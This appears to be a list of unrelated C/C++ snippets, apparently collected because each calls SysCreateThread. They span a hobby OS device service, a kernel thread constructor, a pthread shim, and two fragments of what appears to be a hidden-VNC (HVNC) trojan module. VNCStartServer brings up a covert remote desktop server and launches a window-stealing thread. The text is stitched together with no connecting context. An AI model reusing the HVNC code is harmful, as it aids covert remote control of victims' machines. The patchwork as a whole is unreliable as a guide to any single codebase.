void StartWatcher(PHVNC lpServer) { if (lpServer->WndWatcherInfo.bWatcherStarted) return; SysCreateThread(lpServer,(LPTHREAD_START_ROUTINE)WndWatcher,lpServer,true); return; }
// 设备服务初始化 int device_init() { deviceCount = 0; memset( deviceList, 0, sizeof(deviceList)); deviceThread = SysCreateThread( SysGetCurrentSpaceId(), (size_t)&dev_service, 0, 0, 0 ); return 0; }
bool VNCStartServer(HVNC hVNC,HVNC_CONNECTION_INFO *lpConnInfo) { bool bRet=false; if (bHVNCInit) { HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC); if ((lpHandle) && (!lpHandle->lpServer->bActive)) { memcpy(&lpHandle->ConnInfo,lpConnInfo,sizeof(lpHandle->ConnInfo)); PHVNC lpServer=lpHandle->lpServer; lpServer->bStopped=false; if (!(lpServer->DeskInfo.dwFlags & HVNC_SCREEN_SIZE_DETERMINED)) GetScreenInfo(lpServer); if (!(lpServer->DeskInfo.dwFlags & HVNC_NO_INJECTS)) { lpServer->hSharedMemMapping=CreateFileMapping(INVALID_HANDLE_VALUE,NULL,PAGE_READWRITE,0,lpServer->DIBInfo.dwScreenBufferSize,lpServer->Names.szSharedMemMappingName); lpServer->lpSharedMemMapping=(byte *)MapViewOfFile(lpServer->hSharedMemMapping,FILE_MAP_ALL_ACCESS,0,0,0); } InitScreen(lpServer,&lpServer->DIBInfo.lpOldBkgBits); ResetEvent(lpServer->EventsInfo.hVNCKillEvent); ResetEvent(lpServer->EventsInfo.hSendThreadMessageEvent); g_leave(hInputMutex); g_leave(hSharedMemMutex); g_leave(hPaintMutex); g_leave(hSendThreadMessageMutex); lpServer->bActive=true; lpHandle->hEvent=CreateEvent(NULL,true,false,NULL); SysCreateThread(lpServer,(LPTHREAD_START_ROUTINE)VNCServerThread,(LPDWORD)hVNC,true); WaitForSingleObject(lpHandle->hEvent,INFINITE); SysCloseHandle(lpHandle->hEvent); if (lpServer->bActive) { SysCreateThread(lpServer,(LPTHREAD_START_ROUTINE)ThreadsWatchThread,(LPDWORD)lpServer,true); bRet=true; if ((!lpServer->DeskInfo.bInputDesktop) && (!lpServer->DeskInfo.bWebCam)) SysCreateThread(lpServer,(LPTHREAD_START_ROUTINE)WndStealerThread,lpServer,true); } lpHandle->hEvent=NULL; } } return bRet; }
Thread::Thread( Process * ps, size_t entry ) { int sid = ps->SpaceId(), tid=0; this->prev = this->next = 0; this->disposed = false; ti = 0; //setup thread information block Tib size_t remote_addr = (size_t)SysAllocateMemory( sid, PAGE_SIZE, MEMORY_ATTR_WRITE, ALLOC_HIGHMEM ); if( remote_addr ==0 ) goto bed; if( MapAddress( sid, SysGetCurrentSpaceId(), remote_addr, (size_t*)&ti ) < 0 ) goto bed; memset( (void*)ti, 0, sizeof(ThreadInformation) ); ti->StackLimit = MB(2); ti->StackBase = (size_t)SysAllocateMemory( sid, ti->StackLimit, MEMORY_ATTR_WRITE, ALLOC_LAZY ); ti->ProcessInformation = ps->GetInformation()->Self; ti->Self = (ThreadInformation*)remote_addr; ti->Environment = 0; ti->ProcessId = ps->ProcessId(); ti->ErrorCode = 0; ti->EntryAddress = entry; ti->SpaceInformation = 0; ti->SpaceId = sid; tid = SysCreateThread( sid, entry, ti->StackLimit, ti->StackBase, (void*)remote_addr ); this->threadId = tid; this->spaceId = sid; ti->ThreadId = tid; if( tid < 0 ) goto bed; this->process = ps; if( ps->mainThread ){ Thread* t; for( t=ps->mainThread; t->next; t=t->next ); t->next = this; this->next = 0; this->prev = t; }else{ this->prev = this->next = 0; ps->mainThread = this; } return; bed: Dispose(); }
int pthread_create(pthread_t* thread,const pthread_attr_t* attr,void* (*startRoutine)(void*),void* args) { pthread_cond_t signal; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; struct pthreadArgs pArgs; pArgs.startRoutine = startRoutine; pArgs.args = args; pArgs.signal = &signal; pthread_cond_init(&signal, 0); *thread = SysCreateThread(pthread_start, 0, &pArgs); /* Wait for the new thread to tell it's started up okay. */ pthread_mutex_lock(&mutex); pthread_cond_wait(&signal, &mutex); pthread_mutex_unlock(&mutex); return 0; }